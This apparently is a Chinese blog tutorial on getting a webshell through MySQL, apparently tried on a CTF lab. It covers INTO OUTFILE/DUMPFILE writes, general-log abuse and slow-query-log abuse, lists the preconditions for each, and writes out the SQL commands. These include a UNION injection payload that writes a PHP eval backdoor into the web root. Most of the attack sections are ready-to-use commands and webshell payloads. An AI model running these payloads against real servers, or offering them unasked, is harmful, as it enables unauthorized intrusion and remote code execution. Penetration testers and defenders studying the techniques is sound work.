今天摸鱼时候,突然有人问我不同的数据库getshell的方式,一时间我想到了mysql还有redis未授权访问到getshell的方式,但是仅仅第一时间只想到了这两种,我有查了查资料,找到了上面两种数据库getshell的补充,以及其他数据库getshell的方式。因此更新一个专栏,各个数据库getshell的方式。
目录
1.outfile和dumpfile写shell
条件
命令参数
靶场
2.全局日志
条件
命令
3.慢查询getshell
前提
原理
命令参数
靶场
1.outfile和dumpfile写shell
条件
1.数据库当前用户为root权限;
2.知道当前网站的绝对路径;
3.PHP的GPC为 off状态(魔术引号,GET,POST,Cookie);
4.写入的那个路径有写入权限。
命令参数
show global variables like '%secure%'; ##查看secure-file-priv值
select group_concat(user,0x3a,file_priv) from mysql.user; ##查看当前用户是否有写权限,Y代表有
select '<?php phpinfo() ?>' into outfile '/www/work/webshell.php'; ##写shell多种方式outfile,dumpfile,具体分析 若内容存在引号,会存在语法错误
靶场
ctfshow web171进行尝试:
可以看到是Y,有写入的权限
99' union select 1,2,group_concat(user,0x3a,file_priv) from mysql.user;%23
可以看到写入成功了:
99' union select 1,2,"<?php eval($_POST[1]);?>" into outfile '/var/www/html/1.php;%23
接下来就可以执行命令找到flag了.
后续渗透可以在我以下这篇文章中找到:CSDN
这里不过多演示。
2.全局日志
条件
Web 文件夹宽松权限可以写入
Windows 系统下
高权限运行 MySQL 或者 Apache
MySQL 5.0 版本以上会创建日志文件,可以通过修改日志的全局变量来 getshell
命令
show variables like '%general%'; set global general_log = on;
set global general_log_file = '/www/xx.php'; select '<?php eval($_POST['apple']);?>';
修改为原来路径,再关闭
set global general_log_file='/xxx/xxxx' set global general_log = off;
3.慢查询getshell
前提
1、知道网站真实物理路径
2、root用户身份
3、MySQL 版本 > 5.0
原理
慢查询日志,只有当查询语句执行的时间要超过系统默认的时间时,该语句才会被记入进慢查询日志。一般都是通过long_query_time选项来设置这个时间值,时间以秒为单位,可以精确到微秒。如果查询时间超过了这个时间值,这个查询语句将被记录到慢查询日志中。
命令参数
查看服务器默认时间值方式如下:
show global variables like '%long_query_time%'
show global variables like '%long%'
查看慢日志参数:
show global variables like '%slow%'
对慢日志参数进行修改:
set global slow_query_log=1 #打开慢日志
set global slow_query_log_file='/var/www/html/1.php'#慢日志的路径
注意:一定要用双反斜杠
SELECT '<?php @eval($_POST[1]);?>' or sleep(11)
这儿11是超过慢日志的10秒时间
靶场
查询是否开启:
开启:
可以看到文件大小发生变化,文件写入成功了,这里不细利用,可以利用工具进行webshell连接。